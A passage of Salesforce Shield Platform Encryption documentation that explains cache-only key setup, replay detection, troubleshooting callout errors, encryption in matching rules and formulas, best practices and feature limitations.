   Note: If you deselect Allow Cache-Only Keys with BYOK, data encrypted with cache-only key material remains encrypted and Salesforce continues to invoke secured callouts. However, you can’t modify your cache-only key configuration or add new ones. If you don’t want to use cache-only keys, rotate your key material to use customer-supplied (BYOK) key material. Then synchronize all your data, and deselect Allow Cache-Only Keys with BYOK.

6. From Setup, enter Platform Encryption in the Quick Find box, then select Key Management.

7. Choose a key type from the Tenant Secret Type dropdown.

8. Select Bring Your Own Key.

9. Select a BYOK-compatible certificate from the Choose Certificate dropdown.

10. Select Use a Cache-Only Key.

11. For Unique Key Identifier, enter your KID—the unique key identifier for your data encryption key. Your identifier can be a number, a string (2018_data_key), or a UUID (982c375b-f46b-4423-8c2d-4d1a69152a0b).

12. In the Named Credential dropdown, select the named credential associated with your key. You can have multiple keys associated with each named credential.
Salesforce checks the connection to the endpoint specified by the named credential. If Salesforce can reach the endpoint, the key specified for the Unique Key Identifier becomes the active key. All data marked for encryption by your encryption policy is encrypted with your cache-only key.

If Salesforce can’t reach the specified endpoint, an error displays to help you troubleshoot the connection.

Cache-only key status is recorded as FETCHED on the Key Management page. In Enterprise API, the TenantSecret Source value is listed as REMOTE.

Tip: You can monitor key configuration callouts in the Setup Audit Trail. When a callout to an active or archived cache-only key is successful, the Setup Audit Trail logs an Activated status. Individual callouts are not monitored in Setup Audit Trail.
Add Replay Detection for Cache-Only Keys

Replay detection protects your cache-only keys if a callout is fraudulently intercepted. When enabled, replay detection inserts an autogenerated, unique marker called a RequestIdentifier into every callout. The RequestIdentifier includes the key identifier, a nonce generated for that callout instance, and the nonce required from the endpoint. The RequestIdentifier serves as a random, one-time identifier for each valid callout request. Once you set up your key service to accept and return the RequestIdentifier, any callout with missing or mismatched RequestIdentifiers is aborted.

1. Update your key service to extract the nonce generated for the callout instance from the RequestIdentifier. Here’s what the nonce looks like:
   e5ab58fd2ced013f2a46d5c8144dd439

2. Echo this nonce in the JWE protected header, along with the algorithm used to encrypt the content encryption key, the algorithm used to encrypt the data encryption key, and the unique ID of the cache-only key. Here’s an example.

   ```json
   {"alg":"RSA-OAEP","enc":"A256GCM","kid":"982c375b-f46b-4423-8c2d-4d1a69152a0b","jti":"e5ab58fd2ced013f2a46d5c8144dd439"}
   ```

3. From Setup, enter Platform Encryption in the Quick find box, and click Advanced Settings.


   You can also enable replay detection programmatically. For more information, see EncryptionKeySettings in the Metadata API Developer Guide.

   From now on, every callout to an external key service includes a unique RequestIdentifier.

   **Warning:** If you enable replay detection but don’t return the nonce with your cache-only key material, Salesforce aborts the callout connection and displays a POTENTIAL_REPLAY_ATTACK_DETECTED error.
Check Your Cache-Only Key Connection

Because your cache-only key material is stored outside of Salesforce, it’s important to maintain a functional callout connection. Use the Callout Check page to monitor your connection and quickly respond to key service interruptions that could prevent the service from fetching your keys.

The Cache-Only Key: Callout Check page is accessible after you enable the Cache-Only Key Service in your org and make your first callout. Data presented as part of a callout check are never stored in the system of record.

1. From Setup, enter Platform Encryption in the Quick Find box, then select Key Management.
2. Choose the Certificate Unique Name and Named Credential associated with your Unique Key Identifier.
3. In the Actions column, next to the key material you want to check, click Details.
4. On the Cache-Only Key: Callout Check page, click Check. Details about your callout connection display on the page. It can take a few moments for the callout check to complete and display the results.

5. Review the details about your callout connection. If your callout connection was unsuccessful, you see a descriptive error message at the bottom of the results pane. Use this message to make the appropriate adjustments to your key service.
Destroy a Cache-Only Key

When you destroy a cache-only key, you’re destroying two things: the key in the cache, and the callout connection to the key service.

1. From Setup, enter Platform Encryption in the Quick Find box, then select Key Management.
2. Choose a key type from the Tenant Secret Type dropdown.
3. Click Destroy.
   Your key material’s status is changed to Destroyed, and callouts to this key stop. Data encrypted with this key material is masked with “?????” in the app.

   Note: Your cache-only key is unique to your org and to the specific data to which it applies. When you destroy a cache-only key, related data isn’t accessible unless you re-activate it and make sure that Salesforce can fetch it.

Reactivate a Cache-Only Key

If you still have your named credential associated with a key that was destroyed in Salesforce, you can reactivate a destroyed cache-only key from Setup. Cache-only keys can’t be reactivated programmatically. Reactivating a destroyed key makes it the active key. Before you reactivate a destroyed key, make sure that the corresponding key service connection is recovered.

1. From Setup, enter Platform Encryption in the Quick Find box, then select Key Management.
2. Next to cache-only key you want to re-activate, click Activate.
The Shield Key Management Service fetches the reactivated cache-only key from your key service, and uses it to access data that was previously encrypted with it.

**Note:** You can sync your data to your active cache-only key just like you can with any other key material. When you rotate a cache-only key, contact Salesforce to request the background encryption service.

### Considerations for Cache-Only Keys

These considerations apply to all data that you encrypt using the Shield Platform Encryption Cache-Only Key Service.

#### Retry Policy

If Salesforce can’t reach your external key service, the callout fails and your active cache-only key’s status is set to Destroyed. This prevents excessive loads on both services. The Cache-Only Key Service then periodically retries the callout to help you minimize downtime. Retries occur once per minute for five minutes, then once every five minutes for 24 hours. If the Cache-Only Key Service can successfully complete a callout during this retry period, your cache-only key’s status is reset to Active.

At any point during a retry period, you can activate your key material through Setup or the API pending remote key service availability. If you reactivate your key material during the retry period, all retry attempts stop.

The RemoteKeyCalloutEvent object captures every callout to your key service. You can subscribe to this event with after insert Apex triggers, and set up real-time alerts that notify you when a callout fails.

#### 401 HTTP Responses

In the event of a 401 HTTP response, Salesforce automatically refreshes any OAuth token associated with your named credential, and retries the request.
**Einstein Analytics**

Backups of Einstein Analytics data are encrypted with your Shield Platform Encryption keys. If you encrypt data in Einstein Analytics datasets with a cache-only key, make sure that the Analytics cache-only key is in the same state as your Data in Salesforce-type cache-only key.

**Setup Audit Trail**

Setup Audit Trail records activated cache-only key versions differently depending on whether a cache-only key with the Active status exists when you reactivate the key.

However, if you reactivate a destroyed key and there is already another key with the Active status, the Setup Audit Trail shows the reactivated key with an updated version number.

**Cache-Only Keys and Key Types**

Use a separate cache-only key for each type of data you want to encrypt. You can’t use a cache-only key with multiple key types. For example, you can’t use a cache-only key to encrypt both search indexes and Einstein Analytics data.

**Service Protections**

To protect against Shield KMS interruptions and ensure smooth encryption and decryption processes, you can have up to 10 active and archived cache-only keys of each type.

If you reach your key limit, destroy an existing key so that you can create, upload, reactivate, rearchive, or create a callout to another one. Remember to synchronize your data with an active key before destroying key material.

**Troubleshoot Cache-Only Keys**

One or more of these frequently asked questions may help you troubleshoot any problems that arise with Shield Platform Encryption’s Cache-Only Key Service.

**The callout to my key service isn’t going through. What can I do?**

Callouts can fail for various reasons. Review the error message that displays and follow these tips for resolving the problem. All callouts are recorded in the RemoteKeyCalloutEvent object.

<table>
<thead>
<tr>
<th>RemoteKeyCalloutEvent Status Code</th>
<th>Error Description</th>
<th>Tips for Fixing the Problem</th>
</tr>
</thead>
<tbody>
<tr>
<td>DESTROY_HTTP_CODE</td>
<td>The remote key service returned an HTTP error: (000). A successful HTTP response will return a 200 code.</td>
<td>To find out what went wrong, review the HTTP response code.</td>
</tr>
<tr>
<td>ERROR_HTTP_CODE</td>
<td>The remote key service returned an unsupported HTTP response code: (000). A successful HTTP response will return a 200 code.</td>
<td>To find out what went wrong, review the HTTP response code.</td>
</tr>
<tr>
<td>MALFORMED_CONTENT_ENCRYPTION_KEY</td>
<td>The remote key service returned a content encryption</td>
<td>Check that you set up your named credential properly</td>
</tr>
</tbody>
</table>

**Editions**


Available in both Salesforce Classic and Lightning Experience.
<table>
<thead>
<tr>
<th>RemoteKeyCalloutEvent Status Code</th>
<th>Error</th>
<th>Tips for Fixing the Problem</th>
</tr>
</thead>
<tbody>
<tr>
<td>key in the JWE that couldn’t be decrypted with the certificate’s private key. Either the JWE is corrupted, or the content encryption key is encrypted with a different key.</td>
<td>and are using the correct BYOK-compatible certificate.</td>
<td></td>
</tr>
<tr>
<td>MALFORMED_DATA_ENCRYPTION_KEY</td>
<td>The content encryption key couldn’t decrypt the data encryption key that was returned in the remote key service’s JWE. The data encryption key is either malformed, or encrypted with a different content encryption key.</td>
<td>Check that you set up your named credential properly and are using the correct BYOK-compatible certificate. Named credentials must call out to an HTTPS endpoint.</td>
</tr>
<tr>
<td>MALFORMED_JSON_RESPONSE</td>
<td>We can’t parse the JSON returned by your remote key service. Contact your remote key service for help.</td>
<td>Contact your remote key service.</td>
</tr>
<tr>
<td>MALFORMED_JWE_RESPONSE</td>
<td>The remote key service returned a malformed JWE token that can’t be decoded. Contact your remote key service for help.</td>
<td>Contact your remote key service.</td>
</tr>
<tr>
<td>EMPTY_RESPONSE</td>
<td>The remote key service callout returned an empty response. Contact your remote key service for help.</td>
<td>Contact your remote key service.</td>
</tr>
<tr>
<td>RESPONSE_TIMEOUT</td>
<td>The remote key service callout took too long and timed out. Try again.</td>
<td>If your key service is unavailable after multiple callout attempts, contact your remote key service.</td>
</tr>
<tr>
<td>UNKNOWN_ERROR</td>
<td>The remote key service callout failed and returned an error: {000}.</td>
<td>Contact your remote key service.</td>
</tr>
<tr>
<td>INCORRECT_KEYID_IN_JSON</td>
<td>The remote key service returned JSON with an incorrect key ID. Expected: {valid keyID}. Actual: {invalid keyID}.</td>
<td>Check that you set up your named credential properly and are using the correct BYOK-compatible certificate.</td>
</tr>
<tr>
<td>INCORRECT_KEYID_IN_JWE_HEADER</td>
<td>The remote key service returned a JWE header with an incorrect key ID. Expected: {valid keyID}. Actual: {invalid keyID}.</td>
<td>Check that you set up your named credential properly and are using the correct BYOK-compatible certificate.</td>
</tr>
<tr>
<td>INCORRECT_ALGORITHM_IN_JWE_HEADER</td>
<td>The remote key service returned a JWE header that specified an unsupported algorithm (alg): {algorithm}.</td>
<td>The algorithm for encrypting the content encryption key in your JWE header must be in RSA-OAEP format.</td>
</tr>
<tr>
<td>INCORRECT_ENCRYPTION_ALGORITHM_IN_JWE_HEADER</td>
<td>The remote key service returned a JWE header that specified an unsupported encryption algorithm (enc): {your enc}.</td>
<td>The algorithm for encrypting the data encryption key in your JWE header must be in A256GCM format.</td>
</tr>
<tr>
<td>INCORRECT_DATA_ENCRYPTION_KEY_SIZE</td>
<td>Data encryption keys encoded in a JWE must be 32 bytes. Yours is (value) bytes.</td>
<td>Make sure that your data encryption key is 32 bytes.</td>
</tr>
</tbody>
</table>
The following key service errors can prevent the callout from completing. If you see errors related to these problems, contact your key service administrator for help.

- The JWE is corrupt or malformed.
- The data encryption key is malformed.
- The key service returned a malformed JWE token.
- The key service returned an empty response.

For uniform resource use, Salesforce limits the amount of time for each key service callout to 3 seconds. If the callout takes more than the allotted time, Salesforce fails the callout with a timeout error. Check that your key service is available. Make sure that your named credential references the correct endpoint—check the URL, including the IP address.

Can I execute a remote callout in Apex?

Yes. Salesforce manages all authentication for Apex callouts that specify a named credential as the callout endpoint so that your code doesn’t have to. To reference a named credential from a callout definition, use the named credential URL. A named credential URL contains the scheme callout, the name of the named credential, and an optional path. For example:
callout:My_Named_Credential/some_path.
See Named Credentials as Callout Endpoints in the Apex Developer Guide.

Can I monitor my callout history?

If you want to review or track cache-only key events, use the RemoteKeyCalloutEvent standard object. Either use the describeSObjects() call to view event information, or an after insert Apex trigger to perform custom actions after each callout. For example, you can write a trigger that stores RemoteKeyCallout events in a custom object. When you store RemoteKeyCallout events in a custom object, you can monitor your callout history. See the RemoteKeyCalloutEvent entry in the SOAP API Developer Guide for more information.

The Setup Audit Trail tracks changes in key material state and named credential settings. Callout history isn’t recorded in log files.

When I try to access data encrypted with a cache-only key, I see “?????” instead of my data. Why?

Masking means one of two things. Either the connection to your key service is broken and we can’t fetch your key, or the data is encrypted with a destroyed key. Check that your key service is available and that your named credential references the correct endpoint. If any key versions are marked as Destroyed as a result of a key service failure, recover the connection and manually activate the key version.
Do I have to make a new named credential every time I rotate a key?

Nope. You can use a named credential with multiple keys. As long as you host your key material at the endpoint specified in an existing named credential, you’re all set. When you rotate your key material, change the key ID in the Unique Key Identifier field. Double-check that your new key is stored at the specified endpoint URL in your named credential.

I’m still having problems with my key. Who should I talk to?

If you still have questions, contact your account executive or Salesforce Customer Support. They’ll put you in touch with a support team specific to this feature.

Shield Platform Encryption Customizations

Some features and settings require adjustment before they work with encrypted data.

IN THIS SECTION:

- **Apply Encryption to Fields Used in Matching Rules**
  Matching rules used in duplicate management help you maintain clean and accurate data. To make fields encrypted with Shield Platform Encryption compatible with standard and custom matching rules, use the deterministic encryption scheme.

- **Use Encrypted Data in Formulas**
  Use custom formula fields to quickly find encrypted data. Shield Platform Encryption is compatible with several operators and functions, and can render encrypted data in text, date, and date/time formats, and reference quick actions.
Apply Encryption to Fields Used in Matching Rules

Matching rules used in duplicate management help you maintain clean and accurate data. To make fields encrypted with Shield Platform Encryption compatible with standard and custom matching rules, use the deterministic encryption scheme.

Ask an administrator to enable Deterministic Encryption from the Platform Encryption Advanced Settings page. If you don’t have a Data in Salesforce (Deterministic) type tenant secret, create one from the Platform Encryption Key Management page.

⚠️ Important: Matching rules used in duplicate management don’t support probabilistically encrypted data.

Follow these steps to add encrypted fields to existing custom matching rules.

1. From Setup, in the Quick Find box, enter Matching Rules, and then select Matching Rules.
2. Deactivate the matching rule that reference fields you want to encrypt. If your matching rule is associated with an active duplicate rule, first deactivate the duplicate rule from the Duplicate Rules page. Then return to the Matching Rules page and deactivate the matching rule.
3. From Setup, in the Quick Find box, enter Platform Encryption, and then select Encryption Policy.
4. Click Encrypt Fields.
5. Click Edit.
6. Select the fields you want to encrypt, and select Deterministic from the Encryption Scheme list.

7. Click Save.

Tip: Standard matching rules are automatically deactivated when encryption is added to a field referenced by that rule. To encrypt fields referenced in standard matching rules, follow steps 3–8.

8. After you get the email verifying encryption’s been enabled on your fields, reactivate your matching rule and associated duplicate management rule. Matching rules used in duplicate management now return exact and fuzzy matches on encrypted data.

Example: Let’s say you recently encrypted Billing Address on your Contacts, and you want to add this field to a custom matching rule. First, deactivate the rule or rules you want to add this field to. Make sure that Billing Address is encrypted with the deterministic encryption scheme. Then add Billing Address to your custom matching rule, just like you would add any other field. Finally, reactivate your rule.

When you rotate your key material, you must update custom matching rules that reference encrypted fields. After you rotate your key material, deactivate and then reactivate the affected matching rules. Then contact Salesforce to request the background encryption process. When the background encryption process finishes, your matching rules can access all data encrypted with your active key material.
Important: To ensure accurate matching results, customers who used the beta version of this feature must deactivate any matching rules that reference encrypted fields and then reactivate them. If your custom matching rule fails on reactivation, contact Salesforce for help reactivating your match index.

Note: This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Use Encrypted Data in Formulas

Use custom formula fields to quickly find encrypted data. Shield Platform Encryption is compatible with several operators and functions, and can render encrypted data in text, date, and date/time formats, and reference quick actions.

Supported Operators, Functions, and Actions

Supported operators and functions:

- & and + (concatenate)
- BLANKVALUE
- CASE
- HYPERLINK
- IF
- IMAGE
- ISBLANK
- ISNULL
- NULLVALUE

Also supported:

- Spanning
- Quick actions

Formulas can return data only in text, date, or date/time formats.

& and + (Concatenate)

This works: 
(encryptedField__c & encryptedField__c)

Why it works: This works because & is supported.

This doesn’t work:  
LOWER(encryptedField__c & encryptedField__c)

Why it doesn’t work: LOWER isn’t a supported function, and the input is an encrypted value.

Case

CASE returns encrypted field values, but doesn’t compare them.
CASE(custom_field__c, "1", cf2__c, cf3__c))

where either or both cf2__c and cf3__c are encrypted

This works:

where custom_field__c is compared to "1". If it is true, the formula returns cf2__c because it's not comparing two encrypted values.

Why it works:

This doesn’t work:

where cf1__c is encrypted

Why it doesn’t work: You can’t compare encrypted values.

Why it doesn’t work:

Isblank and Isnull

This works:

OR(ISBLANK(encryptedField__c), ISNULL(encryptedField__c))

Why it works: Both ISBLANK and ISNULL are supported. OR works in this example because ISBLANK and ISNULL return a Boolean value, not an encrypted value.

Spanning

This works:

(LookupObject1__r.City & LookupObject1__r.Street) &
(LookupObject2__r.City & LookupObject2__r.Street) &
(LookupObject3__r.City & LookupObject3__r.Street) &
(LookupObject4__r.City & LookupObject4__r.Street)

How and why you use it: Spanning retrieves encrypted data from multiple entities. For example, let’s say you work in the customer service department for Universal Containers. A customer has filed a case about a distribution problem, and you want to see the scope of the issue. You want all the shipping addresses related to this particular case. This example returns all the customers’ shipping addresses as a single string in your case layout.

Validation

The encryption validation service checks your org to make sure that it’s compatible with encrypted formula field types.

When you encrypt a given field, the validation service:

* Retrieves all formula fields that reference the field
* Verifies that the formula fields are compatible with encryption
* Verifies that the formula fields aren’t used elsewhere for filtering or sorting
Limits

Up to 200 formula fields can reference a given encrypted custom field. A field that is referenced by more than 200 formula fields can’t be encrypted. If you need to reference an encrypted custom field from more than 200 formula fields, contact Salesforce.

When you specify multiple fields to encrypt at one time, the 200-field limit is applied to the whole batch. If you know that you are encrypting fields that have multiple formula fields pointing to them, encrypt those fields one at a time.

Tradeoffs and Limitations of Shield Platform Encryption

A security solution as powerful as Shield Platform Encryption doesn’t come without some tradeoffs. When your data is encrypted, some users may see limitations to some functionality, and a few features aren’t available at all. Consider the impact on your users and your overall business solution as you design your encryption strategy.

IN THIS SECTION:

Shield Platform Encryption Best Practices
Take the time to identify the most likely threats to your org. This process helps you distinguish data that needs encryption from data that doesn’t, so that you can encrypt only what you need to. Make sure that your tenant secret and keys are backed up, and be careful who you allow to manage your secrets and keys.

General Shield Platform Encryption Considerations
These considerations apply to all data that you encrypt using Shield Platform Encryption.

Considerations for Using Deterministic Encryption
These considerations apply to data encrypted with Shield Platform Encryption’s deterministic encryption scheme. Some considerations manifest differently depending on whether data is encrypted with the case-sensitive or case-insensitive deterministic encryption scheme.

Shield Platform Encryption and the Lightning Experience
Shield Platform Encryption works the same way in the Lightning Experience as it does in Salesforce Classic, with a few minor exceptions.

Field Limits with Shield Platform Encryption
Under certain conditions, encrypting a field can impose limits on the values that you store in that field. If you expect users to enter non-ASCII values, such as Chinese, Japanese, or Korean-encoded data, we recommend creating validation rules to enforce these field limits.

Which Salesforce Apps Don’t Support Shield Platform Encryption?
Some Salesforce features work as expected when you work with data that’s encrypted with Shield Platform Encryption. Others don’t.
Shield Platform Encryption Best Practices

Take the time to identify the most likely threats to your org. This process helps you distinguish data that needs encryption from data that doesn’t, so that you can encrypt only what you need to. Make sure that your tenant secret and keys are backed up, and be careful who you allow to manage your secrets and keys.

1. Define a threat model for your organization.
   To identify the threats that are most likely to affect your organization, walk through a formal threat modeling exercise. Use your findings to create a data classification scheme, which can help you decide what data to encrypt.

2. Encrypt only where necessary.
   • Not all data is sensitive. Focus on information that requires encryption to meet your regulatory, security, compliance, and privacy requirements. Unnecessarily encrypting data impacts functionality and performance.
   • Evaluate your data classification scheme early and work with stakeholders in security, compliance, and business IT departments to define requirements. Balance business-critical functionality against security and risk measures and challenge your assumptions periodically.

3. Create a strategy early for backing up and archiving keys and data.
   If your tenant secrets are destroyed, reimport them to access your data. You are solely responsible for making sure that your data and tenant secrets are backed up and stored in a safe place. Salesforce cannot help you with deleted, destroyed, or misplaced tenant secrets.

4. Read the Shield Platform Encryption considerations and understand their implications on your organization.
   • Evaluate the impact of the considerations on your business solution and implementation.
   • Test Shield Platform Encryption in a sandbox environment before deploying to a production environment. Encryption policy settings can be deployed using change sets.
   • Before enabling encryption, fix any violations that you uncover. For example, if you reference encrypted fields in a SOQL ORDER BY clause, a violation occurs. Fix the violation by removing references to the encrypted fields.
   • When requesting feature enablement, such as pilot features, give Salesforce Customer Support several days lead time. The time to complete the process varies based on the feature and how your org is configured.

5. Analyze and test AppExchange apps before deploying them.
   • If you use an app from the AppExchange, test how it interacts with encrypted data in your organization and evaluate whether its functionality is affected.
   • If an app interacts with encrypted data that's stored outside of Salesforce, investigate how and where data processing occurs and how information is protected.
   • If you suspect Shield Platform Encryption could affect the functionality of an app, ask the provider for help with evaluation. Also discuss any custom solutions that must be compatible with Shield Platform Encryption.
   • Apps on the AppExchange that are built exclusively using Lightning Platform inherit Shield Platform Encryption capabilities and limitations.

6. Use out-of-the-box security tools.
   Shield Platform Encryption is not a user authentication or authorization tool. To control which users can see which data, use out-of-the-box tools such as field-level security settings, page layout settings, and sharing rules, rather than Shield Platform Encryption.
7. Grant the Manage Encryption Keys user permission to authorized users only.

Users with the Manage Encryption Keys permission can generate, export, import, and destroy organization-specific keys. Monitor the key management activities of these users regularly with the setup audit trail.

8. Synchronize your existing data with your active key material.

Existing field and file data is not automatically encrypted when you turn on Shield Platform Encryption. To encrypt existing field data, update the records associated with the field data. This action triggers encryption for these records so that your existing data is encrypted at rest. To encrypt existing files or get help updating other encrypted data, contact Salesforce. We can encrypt existing file data in the background to ensure data alignment with the latest encryption policy and key material.

When you contact Salesforce support to request the background encryption service, allow at least a week before you need the background encryption completed. The time to complete the process varies based on the volume of data involved. It could take several days.

9. Handle currency and number data with care.

Currency and Number fields can’t be encrypted because they could have broad functional consequences across the platform, such as disruptions to roll-up summary reports, report timeframes, and calculations. You can often keep private, sensitive, or regulated data of this variety safe in other encryption-supported field types.

10. Communicate to your users about the impact of encryption.

Before you enable Shield Platform Encryption in a production environment, inform users about how it affects your business solution. For example, share the information described in Shield Platform Encryption considerations, where it’s relevant to your business processes.

11. Encrypt your data using the most current key.

When you generate a new tenant secret, any new data is encrypted using this key. However, existing sensitive data remains encrypted using previous keys. In this situation, Salesforce strongly recommends re-encrypting these fields using the latest key. Contact Salesforce for help with re-encrypting your data.

12. Use discretion when granting login as access to users or Salesforce Customer Support.

If you grant login access to a user, and they have field level security access to an encrypted field, that user is able to view encrypted data in that field in plaintext.

If you want Salesforce Customer Support to follow specific processes around asking for or using login as access, you can create special handling instructions. Salesforce Customer Support follows these instructions in situations where login as access may help them resolve your case. To set up these special handling instructions, contact your account executive.
General Shield Platform Encryption Considerations

These considerations apply to all data that you encrypt using Shield Platform Encryption.

Leads

Lead and Case assignment rules, workflow rules, and validation rules work normally when Lead fields are encrypted. Matching and de-duplication of records during lead import works with deterministically encryption, but not probabilistic encryption. Einstein Lead Scoring is not available.

Apex Lead Conversion works normally, but PL-SQL-based lead conversion is not supported.

Flows and Processes

You can reference encrypted fields in most places in your flows and processes. However, you can’t reference encrypted fields in these filtering or sorting contexts.

<table>
<thead>
<tr>
<th>Tool</th>
<th>Filtering Availability</th>
<th>Sorting Availability</th>
</tr>
</thead>
<tbody>
<tr>
<td>Process Builder</td>
<td>Update Records action</td>
<td>n/a</td>
</tr>
<tr>
<td>Flow Builder</td>
<td>Record Choice Set resource</td>
<td>Record Choice Set resource</td>
</tr>
<tr>
<td></td>
<td>Get Records element</td>
<td>Get Records element</td>
</tr>
<tr>
<td></td>
<td>Delete Records element</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Update Records element</td>
<td></td>
</tr>
</tbody>
</table>

You can store the value from an encrypted field in a variable and operate on that value in your flow’s logic. You can also update the value for an encrypted field.

Paused flow interviews can result in data being saved in an unencrypted state. When a flow or process is waiting to resume, the associated flow interview is serialized and saved to the database. The flow interview is serialized and saved when:

- Users pause a flow
- Flows execute a Pause element
- Processes are waiting to execute scheduled actions

If the flow or process loads encrypted fields into a variable during these processes, that data might not be encrypted at rest.

Custom Fields

You can’t use encrypted custom fields in criteria-based sharing rules.

Some custom fields can’t be encrypted.

- Fields that have the Unique or External ID attributes or include these attributes on previously encrypted custom fields (applies only to fields that use the probabilistic encryption scheme)
- Fields on external data objects
- Fields that are used in an account contact relation

You can’t use Schema Builder to create an encrypted custom field.

You can’t use Shield Platform Encryption with Custom Metadata Types.
SOQL/SOSL

- Encrypted fields that use the probabilistic encryption scheme can’t be used with the following SOQL and SOSL clauses and functions:
  - Aggregate functions such as MAX(), MIN(), and COUNT_DISTINCT()
  - WHERE clause
  - GROUP BY clause
  - ORDER BY clause

For information about SOQL and SOSL compatibility with deterministic encryption, see Considerations for Using Deterministic Encryption in Salesforce Help.

Tip: Consider whether you can replace a WHERE clause in a SOQL query with a FIND query in SOSL.

- When you query encrypted data, invalid strings return an INVALID_FIELD error instead of the expected MALFORMED_QUERY.

Pardot

Pardot supports contact email addresses encrypted by Shield Platform Encryption as long as your Pardot instance meets a few conditions. Your org must allow multiple prospects with the same email address. Once this feature is enabled, you can add the contact email address field to your encryption policy.

Because the contact email address displays in the Permission object, users must have permission to view the Prospect object.

If you encrypt the contact email address field, the Salesforce-Pardot Connector can’t use the email address as a secondary prospect match criteria. For more information, read Salesforce-Pardot Connector Settings.

Portals

If a portal is enabled in your organization, you can’t encrypt standard fields. Deactivate all customer portals and partner portals to enable encryption on standard fields. (Communities are supported.)

To deactivate a customer portal, go to the Customer Portal Settings page in Setup. To deactivate a partner portal, go to the Partners page in Setup.

Salesforce B2B Commerce

Shield Platform Encryption supports version 4.10 and later of the Salesforce B2B Commerce managed package, with some behavior differences. For a complete list of considerations, see Shield Platform Encryption for B2B Commerce.

Search

If you encrypt fields with a key and then destroy the key, the corresponding search terms remain in the search index. However, you can’t decrypt the data associated with the destroyed key.

Accounts, PersonAccounts, and Contacts

When Person Accounts are turned on, encrypting any of the following Account fields encrypts the equivalent Contact fields, and vice versa.

- Name
- Description
- Phone
When you encrypt any of the following Account or Contact fields, the equivalent fields in Person Accounts are also encrypted.

- Name
- Description
- Mailing Address
- Phone
- Fax
- Mobile
- Home Phone
- Other Phone
- Email

When the Account Name or Contact Name field is encrypted, searching for duplicate accounts or contacts to merge doesn’t return any results.

When you encrypt the First Name or Last Name field on a contact, that contact appears in the Calendar Invite lookup only if you haven’t filtered by First Name or Last Name.

### Email to Salesforce

When the standard Email field is encrypted, the detail page for Contacts, Leads, or Person Accounts doesn’t flag invalid email addresses. If you need bounce processing to work as expected, don’t encrypt the standard Email field.

### Activity Subject

You can encrypt an Activity Subject field with case-insensitive encryption. If you destroy the key material that encrypts the field, filtering on the field doesn’t yield matches.

If you encrypt the Activity Subject field and it’s used in a custom picklist, delete and replace actions aren’t available for that value. To remove an Activity Subject value from a picklist, deactivate it.

Activity Subject fields that include an OrgID aren’t copied over when you create a sandbox copy of a production org.

### Salesforce for Outlook

If you encrypt the same fields that you filter in Salesforce for Outlook data sets, Salesforce for Outlook doesn’t sync. To get Salesforce for Outlook to sync again, remove the encrypted fields from your filters in your data sets.

### Campaigns

Campaign member search isn’t supported when you search by encrypted fields.

### Notes

You can encrypt the body text of Notes created with the new Notes tool. However, the Preview file and Notes created with the old Notes tool aren’t supported.
Field Audit Trail

Data in a previously archived Field Audit Trail isn’t encrypted when you turn on Platform Encryption. For example, say that your org uses Field Audit Trail to define a data history retention policy for an account field, such as the phone number field. When you turn on encryption for that field, new phone number records are encrypted as they are created. Previous updates to the phone number field that are stored in the Account History related list are also encrypted. However, phone number history data that is already archived in the FieldHistoryArchive object is stored without encryption. To encrypt previously archived data, contact Salesforce.

Communities

If you encrypt the Account Name field and you’re not using Person Accounts, encryption affects how users’ roles are displayed to admins. Normally, a community user’s role name is displayed as a combination of their account name and the name of their user profile. When you encrypt the Account Name field, the account ID is displayed instead of the account name.

For example, when the Account Name field is not encrypted, users belonging to the Acme account with the Customer User profile would have a role called Acme Customer User. When Account Name is encrypted (and Person Accounts aren’t in use), the role is displayed as something like 001D000000IRt53 Customer User.

Data Import

You can’t use the Data Import Wizard to perform matching using master-detail relationships or update records that contain fields that use the probabilistic encryption scheme. You can use it to add new records, however.

Reports, Dashboards, and List Views

- Report charts and dashboard components that display encrypted field values might be cached unencrypted.
- You can’t sort records in list views by fields that contain encrypted data.

Encryption for Chatter

When you embed a custom component in your Chatter feed using Rich Publisher Add-Ons, the data related to those add-ons is encoded, but it isn’t encrypted with the Shield Platform Encryption service. Unencrypted data in Rich Publisher Add-Ons includes data stored in the Extension ID, Text Representation, Thumbnail URL, Title, Payload, and PayloadVersion fields.

Encryption for Custom Matching Rules Used in Duplicate Management

Custom matching rules can only reference fields encrypted with the deterministic encryption scheme. Probabilistic encryption isn’t supported. When you rotate your keys, you must deactivate and then reactivate custom matching rules that reference encrypted fields. If you don’t take this step after updating your key material, matching rules don’t find all your encrypted data.

Standard matching rules that include fields with Shield Platform Encryption don’t detect duplicates. If you encrypt a field included in standard matching rules, deactivate the standard rule.

Service protections ensure that loads are balanced across the system. The matching service searches for match candidates until they find all matches or up to 200 matches. With Shield Platform Encryption, the service search maximum is 100 candidates. With encryption, you could find fewer or no possible duplicate records. Duplicate jobs aren’t supported.
Self-Service Background Encryption

Self-service background encryption can encrypt data once every 7 days. This includes synchronization processes initiated from the Encryption Statistics and Data Sync page, synchronization that automatically runs when you disable encryption on a field, and synchronization completed by Salesforce Customer Support at your request.

Some conditions prevent the self-service background encryption from running:

- There are more than 10 million records in an object
- The org has destroyed key material
- An object’s data is already synchronized
- The synchronization process is already running, initiated either by the customer or by Salesforce Customer Support at the customer’s request
- Statistics are being gathered
- An encryption policy change is being processed, such as enabling encryption on a field or data element
- An object has encrypted data not supported by self-service background encryption. To synchronize data in description, long text area, and rich text area fields, contact Salesforce Customer Support.

After you begin the synchronization processes, wait until it finishes before changing your encryption policy or generating, uploading, or deleting key material. These actions abort the synchronization process.

General

- Encrypted fields can’t be used in:
  - Criteria-based sharing rules
  - Similar opportunities searches
  - External lookup relationships
  - Filter criteria for data management tools
- Web-to-Case is supported, but the Web Company, Web Email, Web Name, and Web Phone fields aren’t encrypted at rest.

**Note:** This page is about Shield Platform Encryption, not Classic Encryption. What’s the difference?

Considerations for Using Deterministic Encryption

These considerations apply to data encrypted with Shield Platform Encryption’s deterministic encryption scheme. Some considerations manifest differently depending on whether data is encrypted with the case-sensitive or case-insensitive deterministic encryption scheme.

Key Rotation and Filter Availability

When you rotate key material or change a field’s encryption scheme to case-sensitive deterministic encryption or case-insensitive deterministic encryption, synchronize your data. Syncing applies the active Data in Salesforce (Deterministic) key material to existing and new data. If you don’t sync your data, filtering and queries on fields with unique attributes don’t return accurate results.

You can sync most data yourself from the Encryption Statistics and Data Sync page in Setup. See Synchronize Your Data Encryption with the Background Encryption Service.
Available Fields and Other Data
Deterministic encryption is available for custom URL, email, phone, text, and text area field types. It isn't available for the following types of data:
- Custom date, date/time, long text area, rich text area, or description field types
- Chatter
- Files and attachments

Filter Operators
